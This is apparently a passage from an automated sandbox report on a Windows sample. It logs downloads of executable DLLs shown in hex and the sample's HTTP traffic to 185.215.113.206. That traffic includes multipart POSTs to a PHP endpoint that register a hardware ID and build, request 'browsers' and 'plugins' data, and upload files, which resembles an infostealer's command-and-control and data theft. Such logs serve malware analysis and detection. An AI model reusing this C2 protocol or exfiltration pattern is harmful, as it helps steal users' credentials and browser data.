00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 10:45:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGCHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 37 39 30 30 39 43 45 35 36 33 37 34 38 31 34 30 37 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 2d 2d 0d 0a Data Ascii: ------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="hwid"8179009CE563748140731------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="build"tale------AKKKFBGDHJKFHJJJJDGC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"browsers------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="message"plugins------BGDBAKFCFHCGDGCBAAKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="message"fplugins------AKKEHIECFCAAFIEBGIDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDBHost: 185.215.113.206Content-Length: 7119Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBKHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"fe539c51d867f3b4fc93915e0024e4a376bc7351dd553767c711664c2a8f037d8725d3ff------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file"------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 65 35 33 39 63 35 31 64 38 36 37 66 33 62 34 66 63 39 33 39 31 35 65 30 30 32 34 65 34 61 33 37 36 62 63 37 33 35 31 64 64 35 35 33 37 36 37 63 37 31 31 36 36 34 63 32 61 38 66 30 33 37 64 38 37 32 35 64 33 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; 